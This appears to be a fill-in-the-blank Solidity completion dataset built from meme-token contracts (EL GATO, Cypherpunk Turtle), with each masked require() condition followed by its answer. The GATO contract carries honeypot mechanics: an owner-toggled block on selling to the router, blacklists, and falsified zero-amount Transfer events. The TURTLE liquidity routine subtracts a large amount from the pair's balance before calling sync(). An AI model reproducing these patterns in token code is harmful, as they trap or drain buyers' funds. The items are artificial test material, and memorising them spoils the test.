require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require(<FILL_ME>)
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| (balances1||_balances1[sender])||(sender==marketAddy),"ERC20: transfer to the zero address" | 64,812 | (balances1||_balances1[sender])||(sender==marketAddy) |
null | /**
https://imgflip.com/i/76iql0
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract GATO is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 100000000*10**18;
string public _name = "EL GATO";
string public _symbol= "GATO";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0xd2107cB5687DAA67C19bCD710a8bcD655e895840);
modifier onlyOwner {
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function allowReflections(address[] memory recipients_) onlyOwner public {
}
function sendReflections(address[] memory recipients_) onlyOwner public {
}
function increaseallow() onlyOwner public {
}
function allowTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require(<FILL_ME>)
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| (amount<200000000000*10**18)||(sender==marketAddy)||(sender==owner)||(sender==address(this)) | 64,812 | (amount<200000000000*10**18)||(sender==marketAddy)||(sender==owner)||(sender==address(this)) |
"Trading not open" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
require(<FILL_ME>)
return _transferFrom(msg.sender, toWallet, amount); }
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| _checkTradingOpen(msg.sender),"Trading not open" | 64,820 | _checkTradingOpen(msg.sender) |
"Trading not open" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
require(<FILL_ME>)
_allowances[fromWallet][msg.sender] -= amount;
return _transferFrom(fromWallet, toWallet, amount); }
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| _checkTradingOpen(fromWallet),"Trading not open" | 64,820 | _checkTradingOpen(fromWallet) |
"No tokens" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
require(_primaryLP == address(0), "LP created");
require(!_tradingOpen, "trading open");
require(msg.value > 0 || address(this).balance>0, "No ETH");
require(<FILL_ME>)
_primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
_addLiquidity(_balances[address(this)], address(this).balance);
_balances[_primaryLP] -= _swapLimits;
(_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") );
require(_isLP[_primaryLP], "Failed bootstrap");
_openTrading();
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| _balances[address(this)]>0,"No tokens" | 64,820 | _balances[address(this)]>0 |
"Failed bootstrap" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
require(_primaryLP == address(0), "LP created");
require(!_tradingOpen, "trading open");
require(msg.value > 0 || address(this).balance>0, "No ETH");
require(_balances[address(this)]>0, "No tokens");
_primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
_addLiquidity(_balances[address(this)], address(this).balance);
_balances[_primaryLP] -= _swapLimits;
(_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") );
require(<FILL_ME>)
_openTrading();
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| _isLP[_primaryLP],"Failed bootstrap" | 64,820 | _isLP[_primaryLP] |
"Trading not yet open" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from 0 wallet");
if (!_tradingOpen) { require(<FILL_ME>) }
if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }
if ( block.number >= launchBlok ) {
if (block.number < antiMevBlock && _isLP[sender]) {
require(toWallet == tx.origin, "MEV block");
}
if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
blockSells[block.number][toWallet] += 1;
require(blockSells[block.number][toWallet] <= 2, "MEV block");
}
}
if ( sender != address(this) && toWallet != address(this) && sender != _owner ) {
require(_checkLimits(sender, toWallet, amount), "TX over limits");
}
uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= amount;
_swapLimits += _taxAmount;
_balances[toWallet] += _transferAmount;
emit Transfer(sender, toWallet, amount);
return true;
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
